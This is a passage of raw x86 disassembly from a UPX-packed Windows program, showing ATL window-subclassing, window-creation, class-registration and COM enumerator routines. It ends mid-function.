sub_406781	proc near		; DATA XREF: UPX0:0042DCE0o

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		mov	eax, offset dword_42E38C
		push	esi
		push	eax
		xor	ebx, ebx
		mov	[ebp+var_8], eax
		call	dword_41D1CC	; RtlEnterCriticalSection
		mov	esi, dword_42E3A4
		mov	[ebp+var_4], 1
		test	esi, esi
		jz	short loc_4067D2
		call	dword_41D1C4	; GetCurrentThreadId
		xor	ecx, ecx


loc_4067AF:				; CODE XREF: sub_406781+3Aj
		cmp	[esi+4], eax
		jz	short loc_4067BF
		mov	ecx, esi
		mov	esi, [esi+8]
		test	esi, esi
		jnz	short loc_4067AF
		jmp	short loc_4067D2
; ---------------------------------------------------------------------------


loc_4067BF:				; CODE XREF: sub_406781+31j
		mov	eax, [esi+8]
		test	ecx, ecx
		jnz	short loc_4067CD
		mov	dword_42E3A4, eax
		jmp	short loc_4067D0
; ---------------------------------------------------------------------------


loc_4067CD:				; CODE XREF: sub_406781+43j
		mov	[ecx+8], eax


loc_4067D0:				; CODE XREF: sub_406781+4Aj
		mov	ebx, [esi]


loc_4067D2:				; CODE XREF: sub_406781+24j
					; sub_406781+3Cj
		lea	ecx, [ebp+var_8]
		call	sub_4066D7
		test	ebx, ebx
		jnz	short loc_4067E2
		xor	eax, eax
		jmp	short loc_406813
; ---------------------------------------------------------------------------


loc_4067E2:				; CODE XREF: sub_406781+5Bj
		mov	esi, [ebp+arg_0]
		mov	eax, [ebx]
		push	edi
		push	ebx
		mov	ecx, ebx
		mov	[ebx+4], esi
		call	dword ptr [eax+8]
		lea	edi, [ebx+8]
		call	sub_4018DB
		mov	ebx, [ebx+14h]
		push	ebx
		push	0FFFFFFFCh
		push	esi
		call	dword_41D2B4	; SetWindowLongW
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	ebx	; MulDiv
		pop	edi


loc_406813:				; CODE XREF: sub_406781+5Fj
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_406781	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406819	proc near		; DATA XREF: sub_404D56o

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+18h]
		mov	eax, [esi+4]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_18], ecx
		xor	ecx, ecx
		push	ecx
		mov	[ebp+var_14], ecx
		mov	[ebp+var_C], ecx
		mov	[ebp+var_10], ecx
		lea	ecx, [ebp+arg_0]
		push	ecx
		push	[ebp+arg_C]
		mov	[ebp+arg_4], edx
		push	ebx
		lea	edx, [ebp+var_24]
		push	edi
		mov	[esi+18h], edx
		mov	edx, [esi]
		push	eax
		mov	ecx, esi
		mov	[ebp+var_8], 24h
		mov	[ebp+var_4], 1
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], edi
		mov	[ebp+var_1C], ebx
		call	dword ptr [edx]
		test	eax, eax
		jnz	short loc_4068E8
		cmp	edi, 82h
		jz	short loc_406895
		push	[ebp+arg_C]
		push	ebx
		push	edi
		push	dword ptr [esi+4]
		push	dword ptr [esi+20h]
		call	dword_41D27C	; CallWindowProcW
		mov	[ebp+arg_0], eax
		jmp	short loc_4068E8
; ---------------------------------------------------------------------------


loc_406895:				; CODE XREF: sub_406819+64j
		mov	eax, [esi+4]
		mov	edi, dword_41D2CC
		push	0FFFFFFFCh
		push	eax
		call	edi ; dword_41D2CC
		push	[ebp+arg_C]
		mov	[ebp+arg_8], eax
		push	ebx
		push	82h
		push	dword ptr [esi+4]
		push	dword ptr [esi+20h]
		call	dword_41D27C	; CallWindowProcW
		mov	[ebp+arg_0], eax
		mov	eax, [esi+20h]
		cmp	eax, dword_41D278
		jz	short loc_4068E4
		mov	eax, [esi+4]
		push	0FFFFFFFCh
		push	eax
		call	edi ; dword_41D2CC
		cmp	eax, [ebp+arg_8]
		jnz	short loc_4068E4
		push	dword ptr [esi+20h]
		push	0FFFFFFFCh
		push	dword ptr [esi+4]
		call	dword_41D2B4	; SetWindowLongW


loc_4068E4:				; CODE XREF: sub_406819+AEj
					; sub_406819+BBj
		or	dword ptr [esi+1Ch], 1


loc_4068E8:				; CODE XREF: sub_406819+5Cj
					; sub_406819+7Aj
		mov	eax, [esi+1Ch]
		test	al, 1
		jz	short loc_40690F
		xor	edx, edx
		cmp	[ebp+arg_4], edx
		jnz	short loc_40690F
		mov	ecx, [esi+4]
		and	eax, 0FFFFFFFEh
		mov	[esi+1Ch], eax
		mov	eax, [esi]
		push	ecx
		mov	ecx, esi
		mov	[esi+4], edx
		mov	[esi+18h], edx
		call	dword ptr [eax+0Ch]
		jmp	short loc_406915
; ---------------------------------------------------------------------------


loc_40690F:				; CODE XREF: sub_406819+D4j
					; sub_406819+DBj
		mov	eax, [ebp+arg_4]
		mov	[esi+18h], eax


loc_406915:				; CODE XREF: sub_406819+F4j
		mov	eax, [ebp+arg_0]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_406819	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40691F	proc near		; CODE XREF: sub_404D0B+41p
					; sub_404D5C+41p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= word ptr  20h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		lea	esi, [ebx+8]
		push	0
		xor	eax, eax
		mov	edi, esi
		call	sub_4018DB
		test	eax, eax
		jnz	short loc_406942
		push	0Eh
		call	dword_41D1D0	; RtlSetLastWin32Error


loc_40693E:				; CODE XREF: sub_40691F+29j
		xor	eax, eax
		jmp	short loc_4069A5
; ---------------------------------------------------------------------------


loc_406942:				; CODE XREF: sub_40691F+15j
		xor	edi, edi
		cmp	[ebp+arg_18], di
		jz	short loc_40693E
		mov	eax, ebx
		call	sub_401441
		cmp	[ebp+arg_14], edi
		jnz	short loc_406962
		test	[ebp+arg_C], 40000000h
		jz	short loc_406962
		mov	[ebp+arg_14], ebx


loc_406962:				; CODE XREF: sub_40691F+35j
					; sub_40691F+3Ej
		mov	eax, [ebp+arg_4]
		cmp	eax, edi
		jnz	short loc_406971
		mov	eax, offset dword_42BA3C
		mov	[ebp+arg_4], eax


loc_406971:				; CODE XREF: sub_40691F+48j
		mov	ecx, [eax+4]
		mov	esi, [eax+0Ch]
		mov	edx, [eax]
		mov	eax, [eax+8]
		push	edi
		push	dword_42E350
		sub	esi, ecx
		push	[ebp+arg_14]
		sub	eax, edx
		push	[ebp+arg_0]
		push	esi
		push	eax
		movzx	eax, [ebp+arg_18]
		push	ecx
		push	edx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_10]
		call	dword_41D290	; CreateWindowExW


loc_4069A5:				; CODE XREF: sub_40691F+21j
		pop	edi
		pop	esi
		pop	ebp
		retn	1Ch
sub_40691F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4069AB	proc near		; CODE XREF: UPX0:00403B35p
		push	0Ch
		mov	eax, offset loc_41C3DC
		call	sub_40C4A0
		mov	ebx, [ebp+8]
		xor	esi, esi
		cmp	ebx, esi
		jnz	short loc_4069C7
		mov	eax, 80004003h
		jmp	short loc_406A37
; ---------------------------------------------------------------------------


loc_4069C7:				; CODE XREF: sub_4069AB+13j
		push	4Ch
		mov	[ebx], esi
		mov	dword ptr [ebp-18h], 8007000Eh
		mov	[ebp-14h], esi
		mov	[ebp-4], esi
		call	sub_40B45F
		pop	ecx
		cmp	eax, esi
		jz	short loc_4069EB
		mov	esi, eax
		call	sub_407031
		mov	esi, eax


loc_4069EB:				; CODE XREF: sub_4069AB+35j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_406A01
; ---------------------------------------------------------------------------


loc_4069F1:				; DATA XREF: UPX0:004276B4o
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, offset loc_4069FB
		retn
; ---------------------------------------------------------------------------


loc_4069FB:				; DATA XREF: sub_4069AB+4Ao
		mov	ebx, [ebp+8]
		mov	esi, [ebp-14h]


loc_406A01:				; CODE XREF: sub_4069AB+44j
		test	esi, esi
		jz	short loc_406A30
		lea	edi, [esi+2Ch]
		mov	ecx, edi
		call	sub_401154
		test	eax, eax
		jl	short loc_406A17
		mov	byte ptr [edi+18h], 1


loc_406A17:				; CODE XREF: sub_4069AB+66j
		mov	edi, eax
		test	eax, eax
		jl	short loc_406A1F
		xor	edi, edi


loc_406A1F:				; CODE XREF: sub_4069AB+70j
		test	edi, edi
		jz	short loc_406A33
		mov	eax, [esi]
		push	1
		mov	ecx, esi
		call	dword ptr [eax+4]
		xor	esi, esi
		jmp	short loc_406A33
; ---------------------------------------------------------------------------


loc_406A30:				; CODE XREF: sub_4069AB+58j
		mov	edi, [ebp-18h]


loc_406A33:				; CODE XREF: sub_4069AB+76j
					; sub_4069AB+83j
		mov	[ebx], esi
		mov	eax, edi


loc_406A37:				; CODE XREF: sub_4069AB+1Aj
		call	sub_40C50C
		retn	4
sub_4069AB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_406A3F	proc near		; CODE XREF: UPX0:00403B57p
		push	0Ch
		mov	eax, offset loc_41C605
		call	sub_40C4A0
		mov	ebx, [ebp+8]
		xor	esi, esi
		cmp	ebx, esi
		jnz	short loc_406A5B
		mov	eax, 80004003h
		jmp	short loc_406ACB
; ---------------------------------------------------------------------------


loc_406A5B:				; CODE XREF: sub_406A3F+13j
		push	4Ch
		mov	[ebx], esi
		mov	dword ptr [ebp-18h], 8007000Eh
		mov	[ebp-14h], esi
		mov	[ebp-4], esi
		call	sub_40B45F
		pop	ecx
		cmp	eax, esi
		jz	short loc_406A7F
		mov	esi, eax
		call	sub_40707B
		mov	esi, eax


loc_406A7F:				; CODE XREF: sub_406A3F+35j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_406A95
; ---------------------------------------------------------------------------


loc_406A85:				; DATA XREF: UPX0:00427A6Co
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, offset loc_406A8F
		retn
; ---------------------------------------------------------------------------


loc_406A8F:				; DATA XREF: sub_406A3F+4Ao
		mov	ebx, [ebp+8]
		mov	esi, [ebp-14h]


loc_406A95:				; CODE XREF: sub_406A3F+44j
		test	esi, esi
		jz	short loc_406AC4
		lea	edi, [esi+2Ch]
		mov	ecx, edi
		call	sub_401154
		test	eax, eax
		jl	short loc_406AAB
		mov	byte ptr [edi+18h], 1


loc_406AAB:				; CODE XREF: sub_406A3F+66j
		mov	edi, eax
		test	eax, eax
		jl	short loc_406AB3
		xor	edi, edi


loc_406AB3:				; CODE XREF: sub_406A3F+70j
		test	edi, edi
		jz	short loc_406AC7
		mov	eax, [esi]
		push	1
		mov	ecx, esi
		call	dword ptr [eax+4]
		xor	esi, esi
		jmp	short loc_406AC7
; ---------------------------------------------------------------------------


loc_406AC4:				; CODE XREF: sub_406A3F+58j
		mov	edi, [ebp-18h]


loc_406AC7:				; CODE XREF: sub_406A3F+76j
					; sub_406A3F+83j
		mov	[ebx], esi
		mov	eax, edi


loc_406ACB:				; CODE XREF: sub_406A3F+1Aj
		call	sub_40C50C
		retn	4
sub_406A3F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40500B


loc_406AD3:				; CODE XREF: sub_40500B+29j
		push	4
		mov	eax, offset loc_41BF15
		call	sub_40C46D
		mov	esi, ecx
		mov	[ebp-10h], esi
		and	dword ptr [ebp-4], 0
		test	byte ptr [esi+14h], 2
		jz	short loc_406B10
		mov	edi, [esi+8]
		jmp	short loc_406B02
; ---------------------------------------------------------------------------


loc_406AF3:				; CODE XREF: sub_40500B+1AFAj
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_406AFF
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_406AFF:				; CODE XREF: sub_40500B+1AECj
		add	edi, 4


loc_406B02:				; CODE XREF: sub_40500B+1AE6j
		cmp	edi, [esi+0Ch]
		jnz	short loc_406AF3
		push	dword ptr [esi+8]
		call	sub_40B36B
		pop	ecx


loc_406B10:				; CODE XREF: sub_40500B+1AE1j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [esi+4]
		test	esi, esi
		jz	short loc_406B21
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]


loc_406B21:				; CODE XREF: sub_40500B+1B0Ej
		call	sub_40C50C
		retn
; END OF FUNCTION CHUNK	FOR sub_40500B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406B27	proc near		; DATA XREF: UPX0:00423FA4o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_C]
		xor	ecx, ecx
		cmp	edx, ecx
		jz	short loc_406B35
		mov	[edx], ecx


loc_406B35:				; CODE XREF: sub_406B27+Aj
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		cmp	edi, ecx
		jnz	short loc_406B48
		mov	eax, 80070057h
		jmp	loc_406BEC
; ---------------------------------------------------------------------------


loc_406B48:				; CODE XREF: sub_406B27+15j
		push	ebx
		cmp	[ebp+arg_8], ecx
		jz	loc_406BE6
		xor	ebx, ebx
		inc	ebx
		cmp	edi, ebx
		jz	short loc_406B61
		cmp	edx, ecx
		jz	loc_406BE6


loc_406B61:				; CODE XREF: sub_406B27+30j
		mov	esi, [ebp+arg_0]
		cmp	[esi+8], ecx
		jz	short loc_406BDF
		mov	eax, [esi+0Ch]
		cmp	eax, ecx
		jz	short loc_406BDF
		mov	ecx, [esi+10h]
		test	ecx, ecx
		jz	short loc_406BDF
		and	[ebp+arg_4], 0
		sub	eax, ecx
		sar	eax, 2
		cmp	edi, eax
		jbe	short loc_406B87
		mov	[ebp+arg_4], ebx


loc_406B87:				; CODE XREF: sub_406B27+5Bj
		jb	short loc_406B8B
		mov	edi, eax


loc_406B8B:				; CODE XREF: sub_406B27:loc_406B87j
		test	edx, edx
		jz	short loc_406B91
		mov	[edx], edi


loc_406B91:				; CODE XREF: sub_406B27+66j
		mov	ebx, [ebp+arg_8]
		jmp	short loc_406BAF
; ---------------------------------------------------------------------------


loc_406B96:				; CODE XREF: sub_406B27+8Aj
		mov	eax, [esi+10h]
		mov	ecx, ebx
		dec	edi
		call	sub_4070C5
		mov	[ebp+arg_0], eax
		test	eax, eax
		jl	short loc_406BB8
		add	ebx, 4
		add	dword ptr [esi+10h], 4


loc_406BAF:				; CODE XREF: sub_406B27+6Dj
		test	edi, edi
		jnz	short loc_406B96
		mov	eax, [ebp+arg_4]
		jmp	short loc_406BEB
; ---------------------------------------------------------------------------


loc_406BB8:				; CODE XREF: sub_406B27+7Fj
		mov	esi, [ebp+arg_8]
		jmp	short loc_406BCC
; ---------------------------------------------------------------------------


loc_406BBD:				; CODE XREF: sub_406B27+A7j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_406BC9
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_406BC9:				; CODE XREF: sub_406B27+9Aj
		add	esi, 4


loc_406BCC:				; CODE XREF: sub_406B27+94j
		cmp	esi, ebx
		jb	short loc_406BBD
		mov	eax, [ebp+arg_C]
		test	eax, eax
		jz	short loc_406BDA
		and	dword ptr [eax], 0


loc_406BDA:				; CODE XREF: sub_406B27+AEj
		mov	eax, [ebp+arg_0]
		jmp	short loc_406BEB
; ---------------------------------------------------------------------------


loc_406BDF:				; CODE XREF: sub_406B27+40j
					; sub_406B27+47j ...
		mov	eax, 80004005h
		jmp	short loc_406BEB
; ---------------------------------------------------------------------------


loc_406BE6:				; CODE XREF: sub_406B27+25j
					; sub_406B27+34j
		mov	eax, 80004003h


loc_406BEB:				; CODE XREF: sub_406B27+8Fj
					; sub_406B27+B6j ...
		pop	ebx


loc_406BEC:				; CODE XREF: sub_406B27+1Cj
		pop	edi
		pop	esi
		pop	ebp
		retn	10h
sub_406B27	endp


; =============== S U B	R O U T	I N E =======================================



sub_406BF2	proc near		; DATA XREF: UPX0:00423FA8o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		test	esi, esi
		jnz	short loc_406C02
		mov	eax, 80070057h
		jmp	short loc_406C26
; ---------------------------------------------------------------------------


loc_406C02:				; CODE XREF: sub_406BF2+7j
		mov	ecx, [esp+4+arg_0]
		mov	edx, [ecx+10h]
		mov	eax, [ecx+0Ch]
		sub	eax, edx
		sar	eax, 2
		cmp	esi, eax
		ja	short loc_406C17
		mov	eax, esi


loc_406C17:				; CODE XREF: sub_406BF2+21j
		lea	edx, [edx+eax*4]
		mov	[ecx+10h], edx
		xor	ecx, ecx
		cmp	esi, eax
		setnz	cl
		mov	eax, ecx


loc_406C26:				; CODE XREF: sub_406BF2+Ej
		pop	esi
		retn	8
sub_406BF2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406C2A	proc near		; DATA XREF: UPX0:00423FB0o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		xor	edi, edi
		mov	[ebp+var_4], edi
		mov	ebx, 80004003h
		cmp	eax, edi
		jz	loc_406CD2
		mov	[eax], edi
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_4070E8
		mov	ebx, eax
		cmp	ebx, edi
		jl	short loc_406CD2
		push	esi
		mov	esi, [ebp+arg_0]
		test	byte ptr [esi+14h], 2
		jz	short loc_406C76
		mov	eax, [esi]
		push	esi
		mov	[ebp+var_4], 1
		mov	[ebp+arg_0], esi
		call	dword ptr [eax+4]
		lea	eax, [ebp+arg_0]
		jmp	short loc_406C79
; ---------------------------------------------------------------------------


loc_406C76:				; CODE XREF: sub_406C2A+35j
		lea	eax, [esi+4]


loc_406C79:				; CODE XREF: sub_406C2A+4Aj
		mov	eax, [eax]
		push	edi
		mov	edi, [ebp+var_8]
		push	eax
		push	dword ptr [esi+0Ch]
		push	dword ptr [esi+8]
		push	edi
		call	sub_406CDA
		test	byte ptr [ebp+var_4], 1
		mov	ebx, eax
		jz	short loc_406CA1
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_406CA1
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_406CA1:				; CODE XREF: sub_406C2A+68j
					; sub_406C2A+6Fj
		test	ebx, ebx
		jl	short loc_406CC4
		mov	eax, [esi+10h]
		mov	ebx, [ebp+arg_4]
		push	offset dword_41EF34
		mov	[edi+10h], eax
		push	edi
		mov	eax, offset off_423EA4
		call	sub_4015BD
		mov	ebx, eax
		test	ebx, ebx
		jge	short loc_406CD1


loc_406CC4:				; CODE XREF: sub_406C2A+79j
		test	edi, edi
		jz	short loc_406CD1
		mov	eax, [edi]
		push	1
		mov	ecx, edi
		call	dword ptr [eax+1Ch]


loc_406CD1:				; CODE XREF: sub_406C2A+98j
					; sub_406C2A+9Cj
		pop	esi


loc_406CD2:				; CODE XREF: sub_406C2A+16j
					; sub_406C2A+2Bj
		pop	edi
		mov	eax, ebx
		pop	ebx
		leave
		retn	8
sub_406C2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_406CDA	proc near		; CODE XREF: sub_403FBF+77p
					; sub_406C2A+5Dp
		push	4
		mov	eax, offset loc_41C14B
		call	sub_40C4A0
		mov	esi, [ebp+10h]
		mov	ebx, [ebp+8]
		cmp	dword ptr [ebp+18h], 3
		jnz	loc_406DAA
		and	dword ptr [ebp-4], 0
		mov	eax, esi
		sub	eax, [ebp+0Ch]
		xor	ecx, ecx
		push	4
		sar	eax, 2
		pop	edx
		mul	edx
		seto	cl
		neg	ecx
		or	ecx, eax
		push	ecx
		call	sub_40AC06
		or	dword ptr [ebp-4], 0FFFFFFFFh
		pop	ecx
		mov	[ebx+8], eax
		jmp	short loc_406D30
; ---------------------------------------------------------------------------


loc_406D20:				; DATA XREF: UPX0:0042719Co
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, offset loc_406D2A
		retn
; ---------------------------------------------------------------------------


loc_406D2A:				; DATA XREF: sub_406CDA+4Ao
		mov	ebx, [ebp+8]
		mov	esi, [ebp+10h]


loc_406D30:				; CODE XREF: sub_406CDA+44j
		mov	eax, [ebx+8]
		mov	[ebx+10h], eax
		test	eax, eax
		jnz	short loc_406D44
		mov	eax, 8007000Eh
		jmp	loc_406DD0
; ---------------------------------------------------------------------------


loc_406D44:				; CODE XREF: sub_406CDA+5Ej
		mov	edi, [ebp+0Ch]
		jmp	short loc_406D61
; ---------------------------------------------------------------------------


loc_406D49:				; CODE XREF: sub_406CDA+89j
		mov	ecx, [ebx+10h]
		mov	eax, edi
		call	sub_4070C5
		mov	[ebp+8], eax
		test	eax, eax
		jl	short loc_406D76
		add	dword ptr [ebx+10h], 4
		add	edi, 4


loc_406D61:				; CODE XREF: sub_406CDA+6Dj
		cmp	edi, esi
		jnz	short loc_406D49
		sub	esi, [ebp+0Ch]
		mov	eax, [ebx+8]
		sar	esi, 2
		lea	eax, [eax+esi*4]
		mov	[ebx+0Ch], eax
		jmp	short loc_406DB3
; ---------------------------------------------------------------------------


loc_406D76:				; CODE XREF: sub_406CDA+7Ej
		mov	esi, [ebx+8]
		jmp	short loc_406D8C
; ---------------------------------------------------------------------------


loc_406D7B:				; CODE XREF: sub_406CDA+B5j
		mov	eax, esi
		mov	eax, [eax]
		add	esi, 4
		test	eax, eax
		jz	short loc_406D8C
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_406D8C:				; CODE XREF: sub_406CDA+9Fj
					; sub_406CDA+AAj
		cmp	esi, [ebx+10h]
		jb	short loc_406D7B
		push	dword ptr [ebx+8]
		call	sub_40B36B
		xor	eax, eax
		mov	[ebx+10h], eax
		mov	[ebx+0Ch], eax
		mov	[ebx+8], eax
		mov	eax, [ebp+8]
		pop	ecx
		jmp	short loc_406DD0
; ---------------------------------------------------------------------------


loc_406DAA:				; CODE XREF: sub_406CDA+16j
		mov	eax, [ebp+0Ch]
		mov	[ebx+8], eax
		mov	[ebx+0Ch], esi


loc_406DB3:				; CODE XREF: sub_406CDA+9Aj
		mov	edi, [ebp+14h]
		lea	esi, [ebx+4]
		cmp	[esi], edi
		jz	short loc_406DC2
		call	sub_4011B4


loc_406DC2:				; CODE XREF: sub_406CDA+E1j
		mov	eax, [ebx+8]
		mov	[ebx+10h], eax
		mov	eax, [ebp+18h]
		mov	[ebx+14h], eax
		xor	eax, eax


loc_406DD0:				; CODE XREF: sub_406CDA+65j
					; sub_406CDA+CEj
		call	sub_40C50C
		retn	14h
sub_406CDA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406DD8	proc near		; CODE XREF: sub_404D0B+20p
					; sub_404D5C+20p ...

var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_30		= byte ptr -30h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		sub	esp, 70h
		push	esi
		xor	esi, esi
		push	edi
		cmp	ebx, esi
		jz	short loc_406E65
		cmp	[ebp+arg_0], esi
		jz	short loc_406E65
		cmp	[ebx+40h], si
		jnz	loc_406F29
		mov	eax, offset dword_42E38C
		push	eax
		mov	[esp+7Ch+var_68], eax
		call	dword_41D1CC	; RtlEnterCriticalSection
		mov	byte ptr [esp+78h+var_64], 1
		cmp	[ebx+40h], si
		jnz	loc_406F1E
		mov	eax, [ebx+30h]
		cmp	eax, esi
		jz	short loc_406E8E
		mov	ecx, [ebx+28h]
		mov	[esp+78h+var_70], ecx
		mov	ecx, [ebx+8]
		mov	[esp+78h+var_6C], ecx
		lea	ecx, [esp+78h+var_60]
		push	ecx
		push	eax
		push	esi
		mov	esi, dword_41D35C
		mov	[esp+84h+var_60], 30h
		call	esi ; dword_41D35C
		test	eax, eax
		jnz	short loc_406E6D
		mov	eax, [ebx+30h]
		lea	ecx, [esp+78h+var_60]
		push	ecx
		push	eax
		push	dword_42E350
		call	esi ; dword_41D35C
		test	eax, eax
		jnz	short loc_406E6D
		lea	ecx, [esp+78h+var_68]
		call	sub_4066D7


loc_406E65:				; CODE XREF: sub_406DD8+Fj
					; sub_406DD8+14j
		xor	eax, eax


loc_406E67:				; CODE XREF: sub_406DD8+162j
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_406E6D:				; CODE XREF: sub_406DD8+6Dj
					; sub_406DD8+82j
		push	0Ch
		pop	ecx
		lea	esi, [esp+78h+var_60]
		mov	edi, ebx
		rep movsd
		mov	eax, [ebx+8]
		mov	[ebx+34h], eax
		mov	eax, [esp+78h+var_70]
		mov	[ebx+28h], eax
		mov	eax, [esp+78h+var_6C]
		mov	[ebx+8], eax
		jmp	short loc_406EAA
; ---------------------------------------------------------------------------


loc_406E8E:				; CODE XREF: sub_406DD8+44j
		mov	eax, [ebx+3Ch]
		push	dword ptr [ebx+38h]
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, dword_42E354
		push	eax
		call	dword_41D344	; LoadCursorW
		mov	[ebx+1Ch], eax


loc_406EAA:				; CODE XREF: sub_406DD8+B4j
		mov	eax, dword_42E350
		and	dword ptr [ebx+4], 0FFFFBFFFh
		cmp	dword ptr [ebx+28h], 0
		mov	[ebx+14h], eax
		jnz	short loc_406ED6
		push	ebx
		push	offset aAtlP	; "ATL:%p"
		lea	esi, [ebx+42h]
		push	25h
		push	esi
		call	sub_40AC2B
		add	esp, 10h
		mov	[ebx+28h], esi


loc_406ED6:				; CODE XREF: sub_406DD8+E5j
		mov	eax, [ebx+28h]
		push	0Ch
		pop	ecx
		lea	edx, [esp+78h+var_30]
		push	edx
		mov	esi, ebx
		lea	edi, [esp+7Ch+var_30]
		rep movsd
		mov	ecx, [ebx+14h]
		push	eax
		push	ecx
		call	dword_41D35C	; GetClassInfoExW
		mov	[ebx+40h], ax
		test	ax, ax
		jnz	short loc_406F1E
		push	ebx
		call	dword_41D2D4	; RegisterClassExW
		movzx	edi, ax
		lea	eax, [esp+78h+var_6C]
		push	eax
		mov	esi, offset dword_42E3A8
		mov	[esp+7Ch+var_6C], edi
		call	sub_404C2B
		mov	[ebx+40h], di


loc_406F1E:				; CODE XREF: sub_406DD8+39j
					; sub_406DD8+123j
		lea	ecx, [esp+78h+var_68]
		call	sub_4066D7
		xor	esi, esi


loc_406F29:				; CODE XREF: sub_406DD8+1Aj
		cmp	[ebx+30h], esi
		jz	short loc_406F36
		mov	eax, [ebx+34h]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax


loc_406F36:				; CODE XREF: sub_406DD8+154j
		mov	ax, [ebx+40h]
		jmp	loc_406E67
sub_406DD8	endp


; =============== S U B	R O U T	I N E =======================================



sub_406F3F	proc near		; CODE XREF: sub_405546+60p
					; sub_4055BC+22p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		add	eax, eax
		push	eax
		push	[esp+4+arg_8]
		mov	eax, [esp+8+arg_4]
		add	eax, eax
		push	eax
		push	[esp+0Ch+arg_0]
		call	sub_40B376
		mov	eax, [esp+10h+arg_0]
		add	esp, 10h
		retn
sub_406F3F	endp


; =============== S U B	R O U T	I N E =======================================



sub_406F5E	proc near		; CODE XREF: sub_4051B7+6Ep
					; sub_405603+57p ...
		cmp	dword ptr [eax+18h], 8
		push	esi
		push	edi
		mov	edi, [eax+14h]
		jb	short loc_406F6E
		mov	eax, [eax+4]
		jmp	short loc_406F71
; ---------------------------------------------------------------------------


loc_406F6E:				; CODE XREF: sub_406F5E+9j
		add	eax, 4


loc_406F71:				; CODE XREF: sub_406F5E+Ej
		mov	esi, [ecx+14h]
		mov	edx, esi
		cmp	esi, edi
		jb	short loc_406F7C
		mov	edx, edi


loc_406F7C:				; CODE XREF: sub_406F5E+1Aj
		cmp	dword ptr [ecx+18h], 8
		jb	short loc_406F87
		mov	ecx, [ecx+4]
		jmp	short loc_406F8A
; ---------------------------------------------------------------------------


loc_406F87:				; CODE XREF: sub_406F5E+22j
		add	ecx, 4


loc_406F8A:				; CODE XREF: sub_406F5E+27j
		push	ebx
		test	edx, edx
		jbe	short loc_406F9E


loc_406F8F:				; CODE XREF: sub_406F5E+3Ej
		mov	bx, [ecx]
		cmp	bx, [eax]
		jnz	short loc_406FAE
		inc	ecx
		inc	ecx
		inc	eax
		inc	eax
		dec	edx
		jnz	short loc_406F8F


loc_406F9E:				; CODE XREF: sub_406F5E+2Fj
		xor	eax, eax


